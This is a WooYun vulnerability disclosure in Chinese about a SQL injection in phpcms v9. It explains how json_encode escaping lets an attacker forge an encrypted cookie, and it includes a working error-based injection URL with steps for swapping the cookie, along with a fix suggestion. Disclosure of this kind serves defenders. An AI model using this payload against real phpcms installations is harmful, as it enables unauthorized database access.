漏洞概要 关注数(72) 关注此漏洞
缺陷编号: WooYun-2013-25107
漏洞标题: phpcms v9 注入一枚
相关厂商: phpcms
漏洞作者: gainover
提交时间: 2013-06-04 10:21
公开时间: 2013-09-02 10:21
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 15
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: php+数字类型注射 sql注射漏洞利用技巧
漏洞详情
披露状态:
2013-06-04: 细节已通知厂商并且等待厂商处理中
2013-06-04: 厂商已经确认,细节仅向厂商公开
2013-06-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2013-07-29: 细节向核心白帽子及相关领域专家公开
2013-08-08: 细节向普通白帽子公开
2013-08-18: 细节向实习白帽子公开
2013-09-02: 细节向公众公开
简要描述:
PHPCMS某处代码缺陷导致SQL注入。
详细说明:
1. 首先是 /phpcms/modules/pay/spend_list.php
18 $userid = param::get_cookie('_userid');
19 $sql = " `userid` = '$userid'";
可以看到,从cookies中取出_userid,然后代入sql语句中。
如果这里cookies中的_userid我们可以构造,那么我们可以成功进行sql注入。
2. 由于phpcms的cookies进过加密函数进行了转换, 而这个加密函数中似乎又用到了一个我们无法直接获取到的authkey -->pc_base::load_config('system', 'auth_key')
3. 但是我们可以换个思路,程序在设置cookies,会调用set_cookie这个函数来进行get_cookies的逆向过程。
86 public static function set_cookie($var, $value = '', $time = 0) {
87 $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
88 $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
89 $var = pc_base::load_config('system','cookie_pre').$var;
90 $_COOKIE[$var] = $value;
91 if (is_array($value)) {
92 foreach($value as $k=>$v) {
93 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
94 }
95 } else {
96 setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
97 }
98 }
4. 如果我们找到一个调用set_cookie的页面,并且传入的参数我们可以控制,那么是不是就有一点点希望了呢? 但实际上这里有个大问题。
假如我们控制参数 userid, userid=',
由于GPC/程序自己过滤,则 userid=\',
加密后是 userid=XXXXXXXXXXXX
解密后是 userid=\'
我们会发现,这种想法实际上,最后。。。其实。。。根本还是无法造成注入的嘛
--------------------------------------------------------
也就是说,上面实际上说的是废话,构成不了威胁,关键是下面的部分啦。~
--------------------------------------------------------
5. 但是我们依然还是抱着上面的想法,找了找set_cookie的位置。
我们找到了 /phpcms/modules/attachment/attachments.php 中的 以下代码:
228 public function swfupload_json() {
229 $arr['aid'] = intval($_GET['aid']);
230 $arr['src'] = trim($_GET['src']);
231 $arr['filename'] = urlencode($_GET['filename']);
232 $json_str = json_encode($arr);
233 $att_arr_exist = param::get_cookie('att_json');
234 $att_arr_exist_tmp = explode('||', $att_arr_exist);
235 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
236 return true;
237 } else {
238 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
239 param::set_cookie('att_json',$json_str);
240 return true;
241 }
242 }
可以看到这里设置了att_json这个cookies字段。
param::set_cookie('att_json',$json_str);
而$json_str来自于 json_encode($arr);
这个点有什么特别之处呢?特别之处在于 json_encode会将 \ 转变为 \\
因而,我们的 $arr的 src=' 时,
由于GPC会转变为 src=\'
由于json_encode,会转变为 {"src":"\\'"}
这样一来,单引号就不会转义啦,从而形成注入。
6. 接着就是利用过程,首先我们要利用set_cookie函数得到加密后的字符串。
在官方demo站,注册用户并登录,再访问以下URL。
http://**.**.**.**/index.php?m=attachment&c=attachments&a=swfupload_json&src='%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20;%20--%201
在chrome浏览器的cookies中,找到XXXXX_att_json这一条cookies数据,如下图:
复制出这条COOKIES数据。
再访问,
http://**.**.**.**/index.php?m=pay&c=spend_list
抓包修改COOKIES中的, XXXXX_userid这条数据,改为上面的XXXXX_att_json的数据,如下图:
重新提交请求,可以看到报错后的注入信息。
漏洞证明:
修复方案:
虽然注入是在/phpcms/modules/pay/spend_list.php进行的,但问题关键是 /phpcms/modules/attachment/attachments.php出现的。修复attachment/attachments.php中的问题。
具体的,我等厂商们的修复方案,然后学习学习:)
版权声明:转载请注明来源 gainover@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2013-06-04 13:16
厂商回复:
感谢提交漏洞,该漏洞其他人提交的漏洞相似。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
0%
0%
0%
0%